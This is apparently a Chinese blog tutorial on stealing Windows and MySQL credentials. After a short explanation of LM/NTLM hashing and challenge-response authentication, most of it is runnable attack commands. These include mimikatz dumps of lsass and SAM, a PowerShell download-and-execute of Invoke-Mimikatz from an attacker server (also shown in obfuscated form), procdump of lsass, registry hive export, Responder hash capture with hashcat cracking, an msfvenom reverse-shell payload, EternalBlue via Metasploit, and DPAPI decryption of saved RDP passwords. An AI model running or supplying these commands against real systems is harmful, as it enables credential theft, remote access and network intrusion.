Windows密码凭证获取

Windows HASH

         Hash,一般翻译做散列、杂凑,或音译为哈希,是把任意长度的输入(又叫做预映射pre-image)通过散列算法变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,也就是,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,所以不可能从散列值来确定唯一的输入值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。

LM-HASH简介

LAN Manager(LM)哈希是Windows系统所用的第一种密码哈希算法,是一种较古老的Hash,在LAN Manager协议中使用,非常容易通过暴力破解获取明文凭据。
它只有唯一一个版本且一直用到了 NT LAN Manager(NTLM) 哈希的出现,

在 Windows XP / Windows Server 2003 之前, 它是Windows上占主导地位的密码存储算法。
从 Windows Vista / Windows Server 2008 开始,默认情况下已禁用该算法。
LM 算法是在 DES 基础上实现的,不区分字母大小写。

Windows认证基础

Windows的认证包括三个部分:
本地认证:用户直接操作计算机登录账户
网络认证:远程连接到工作组中的某个设备
域认证:登陆到域环境中的某个设备

Windows本地认证

    1.用户输入密码
    2.系统收到密码后将用户输入的密码计算成NTLM Hash
    3.与sam数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对
    4.匹配则登陆成功,不匹配则登陆失败

NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中。

本地认证中用来处理用户输入密码的进程为 lsass.exe ,密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash 与 sam 进行比对,我们使用 mimikatz 来获取的明文密码,便是在这个进程中读取到的。
 

Windows网络认证

网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制。

NTLM 协议的认证过程分为三步,也叫挑战相应机制:

1.协商
双方确定使用的协议版本, NTLM 存在V1和V2两个版本,即 Net-NTLM v1 hash 、Net-NTLM v2 hash 具体区别就是加密方式不同

在 NTLM 认证中, NTLM 响应分为 NTLM v1 , NTLMv2 , NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法

2.质询
挑战(Chalenge)/ 响应(Response)认证机制的核心

    1.客户端向服务器端发送用户信息(用户名)请求
    2.服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个16位的随机数,被称之为" Challenge ", 然后使用登录用户名对应的 NTLMHash 加密Challenge(16位随机字符), 生成 Challenge1 保存在内存中。同时,生成 Challenge1后,将Challenge(16位随机字符)明文发送给客户端。
    3.客户端接受到 Challenge 后,使用自己提供的账户的密码转换成对应的 NTLM Hash ,然后使用这个 NTLM Hash 加密 Challenge 生成 Response ,然后将 Response 发送至服务器端。

3.验证

在质询完成后,验证结果,是认证的最后一步。

服务端收到客户端发送的 Response 后,与之前保存在内存中的 Channelge1 比较,如果相等认证通过

其中,经过 NTLM Hash 加密 Challenge 的结果在网络协议中称之为 Net NTLM Hash (不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)

其中的关键点在于:第二步中客户端发送的是 NTLM 哈希值与随机字符串加密的结果,而这个 NTLM 哈希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的 NTLM 哈希即使不知道正确的密码也可通过认证。

Net-ntlm hash破解

1.在kali运行工具responder,监听eth0端口流量

 responder -I eth0 -w -d

2.只要内网中的主机输入错误的命令,内网主机就会使用其他协议,在局域网内发起请求,这样我们就可以截获Net-ntlm hash

3.新建hash.txt文件,将截取的hash写入保存

4.运行hashcat ,利用密码字典爆破

#也可以用 john -m 5600 hash.txt

hashcat -m 5600 hash.txt pass.txt

 5.成功爆出密码

 实战中,爆破密码也存在不足,就是爆破时间成本太高!

系统用户凭证获取

mimikatz

Mimikatz 是一个开源的项目,用于Windows下读取已经登录过的用户Hash和明文
密码,要顺利的读取密码必须具有 Administrator 或者 System 权限

本地交互式:

mimikatz.exe
mimikatz # privilege::debug
mimikatz # log re.txt
mimikatz # sekurlsa::logonpasswords
mimikatz # exit

 

本地非交互式:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt

#结果会输出在log.txt文件中

mimikatz.exe "log re.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

#结果 直接显示在命令行

mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "lsadump::secrets" "exit"

#结果 直接显示在命令行

Powershell 本地加载 mimikatz 脚本

#将脚本放在工具目录下

 运行命令:

#结果 直接显示在命令行

powershell -ep bypass Import-Module .\Invoke- Mimikatz.ps1;Invoke-Mimikatz -Command'"privilege::debug" "sekurlsa::logonPasswords"'
powershell -ep bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"'

Powershell 远程加载 mimikatz 脚本


powershell IEX (New-Object Net.WebClient).DownloadString('http://服务器IP:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz –DumpCreds

#将脚本复制到Kali

 开启server:

 靶机运行命令,发起请求

#Kali和靶机的网络可以出网!!!

Powershell 混淆

#刚才开启的server服务,不要关闭

powershell -c "('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.2'+'.112:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"

#此条命令就是上面,远程加载脚本的命令,这里对命令做了混淆。

#输出结果和上面一样

Get-Hashes


powershell IEX(new-object net.webclient).downloadstring('http://服务器IP:8000/Get-PassHashes.ps1');Get-PassHashes

#将脚本复制到Kali

#开启server服务

 靶机执行命令:

Procdump+Mimikatz

Procdump是一个轻量级的Sysinternal团队开发的命令行工具, 它的主要目的是监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因. 你还可以把它作为生成dump的工具使用在其他的脚本中.

摘自:

Procdump 导出 lsass 进程

For 32bits:
procdump.exe -accepteula -ma lsass.exe lsass.dmp

For 64bits:
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

生成此文件

 

 使用 mimikatz 还原密码:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

注册表导出Hash

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv

Mimikatz

mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" "exit"

Impacket

python3 secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

 使用python,如果报错使用python3

#提示需要安装impacket

#使用pip或pip3

 再次输入命令:得到结果

LaZagne

LaZagne.exe all  #获取所有密码

Meterpreter获取Hash

1.通过生成payload上线获取

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.xxx.xxx lport=8088 -f exe  -o shell.exe

 设置侦听

handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.xxx.xxx -P 8088

获取hash

run post/windows/gather/hashdump

报错,因为没有system权限,提升权限即可!

getsystem

2.使用ms17_010漏洞获取

use exploit/windows/smb/ms17_010_eternalblue

 show options

set rhosts xxx.xxx.xxx.xxx   #设置目标IP

 run

存在漏洞

获取hash

run post/windows/gather/hashdump

 其他命令获取:
run post/windows/gather/smart_hashdump

其他密码凭证获取

RDP连接密码解密

mimikatz

1.查看本地机器本地连接过的目标机器

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

#没有连接过

2.查看本地用户此目录下是否存有RDP密码文件

dir /a %userprofile%\AppData\Local\Microsof\Credentials\*

#复制密码文件所在目录,然后复制以下文件名的其中一个到记事本

3.查看保存在本地的远程主机信息

cmdkey /list

#自行查看

 
4.选择一个密码文件对其进行解密
此处需要记录下 guidMasterKey 的值

privilege::debug

dpapi::cred /in:密码文件所在目录\密码文件名

#将guidMasterKey:复制到记事本

 根据 guidMasterKey 找到对应的 Masterkey

sekurlsa::dpapi

GUID和刚才保存的guidMasterKey相同

#将 Masterkey 复制到记事本

 通过 Masterkey 解密 pbData 数据,拿到明文 RDP 连接密码

dpapi::cred /in:密码文件所在目录\密码文件名 Masterkey:XXXXX

#自行查看

Powershell脚本获取RDP连接记录

List-RDP-Connections-History

powershell -exec bypass .\ListLogged-inUsers.ps1

 shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

 #找不到注册表,因为没有连接过。

这里将流程演示如下:

shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
 shell cmdkey /list
mimikatz "privilege::debug" "dpapi::cred /in:密码文件所在目录\密码文件名" "exit"

MySQL数据库密码破解

一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途径来访问数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。

MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件读取权限后即可直接从数据库连接文件中读取。

一般都包含有数据库类型,物理位置,用户名和密码等信息
 

1.MYSQL数据库文件类型

MYSQL数据库文件共有 frm 、 MYD 和 MYI 三种文件;

“.frm” 是描述表结构的文件

“.MYD” 是表的数据文件

“.MYI” 是表数据文件中任何索引的数据树
一般是单独存在一个文件夹中

与用户有关的一共有三个文件即 user.frm 、 user.MYD 和 user.MYI ,MYSQL数据库用户密码都保存在 user.MYD 文件中,包括root用户和其他用户的密码。

2.Mysql加密方式

MYSQL数据库的认证密码有两种方式:
MYSQL 4.1版本之前是MYSQL323加密,MYSQL 4.1和之后的版本都是MYSQLSHA1加密

MYSQL数据库中自带 Old_Password(str) 和 Password(str) 函数,它们均可以在MYSQL数据库里进
行查询,前者是 MYSQL323 加密,后者是 MYSQLSHA1 方式加密。
 

mysql> select Password('root');
+-------------------------------------------+
| Password('root') |
+-------------------------------------------+
| *81F5E2xxxxxxxxxxxxxxxxxxx |
+-------------------------------------------+
1 row in set

MYSQL323 加密中生成的是16位字符串,而在 MYSQLSHA1 中生成的是41位字符串,其中 * 是不加入实际的密码运算中, MYSQLSHA1 加密的密码的实际位数是40位。

获取Mysql数据库密码hash值
使用编辑器打开user.MYD文件,使用二进制模式查看,即可得到密码值:

 Hash破解

在线网站破解
www.cmd5.com
www.somd5.com

...

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值